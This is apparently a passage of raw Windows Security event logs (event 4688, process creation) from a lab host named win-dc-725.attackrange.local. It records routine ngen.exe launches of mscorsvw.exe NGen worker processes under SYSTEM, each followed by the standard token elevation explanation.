Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254372
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x900
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 33c -InterruptEvent 0 -NGENProcess 28c -Pipe 2fc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254371
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x139c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2fc -InterruptEvent 0 -NGENProcess 33c -Pipe 3fc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254370
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x718
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3fc -InterruptEvent 0 -NGENProcess 2fc -Pipe 270 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:34 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254374
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 394 -InterruptEvent 0 -NGENProcess 220 -Pipe 2f8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254378
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x884
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2c8 -InterruptEvent 0 -NGENProcess 324 -Pipe 384 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254377
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x35c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 354 -InterruptEvent 0 -NGENProcess 364 -Pipe 2a4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254376
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x116c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 28c -InterruptEvent 0 -NGENProcess 2b8 -Pipe 2c0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254375
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 384 -InterruptEvent 0 -NGENProcess 374 -Pipe 1f4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254382
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1390
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 1e0 -InterruptEvent 0 -NGENProcess 31c -Pipe 2b8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254381
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb68
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2b8 -InterruptEvent 0 -NGENProcess 1e0 -Pipe 3e0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254380
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1110
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 200 -InterruptEvent 0 -NGENProcess 3b8 -Pipe 374 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254379
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2c8 -InterruptEvent 0 -NGENProcess 2e0 -Pipe 394 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:43 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254384
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x130c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 324 -InterruptEvent 0 -NGENProcess 354 -Pipe 2e0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:43 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254383
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x136c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2e0 -InterruptEvent 0 -NGENProcess 324 -Pipe 3b8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254391
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 434 -InterruptEvent 0 -NGENProcess 404 -Pipe 414 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254390
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 1e0 -InterruptEvent 0 -NGENProcess 414 -Pipe 31c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254389
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x264
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 31c -InterruptEvent 0 -NGENProcess 1e0 -Pipe 210 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254388
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10ec
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 210 -InterruptEvent 0 -NGENProcess 31c -Pipe 354 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

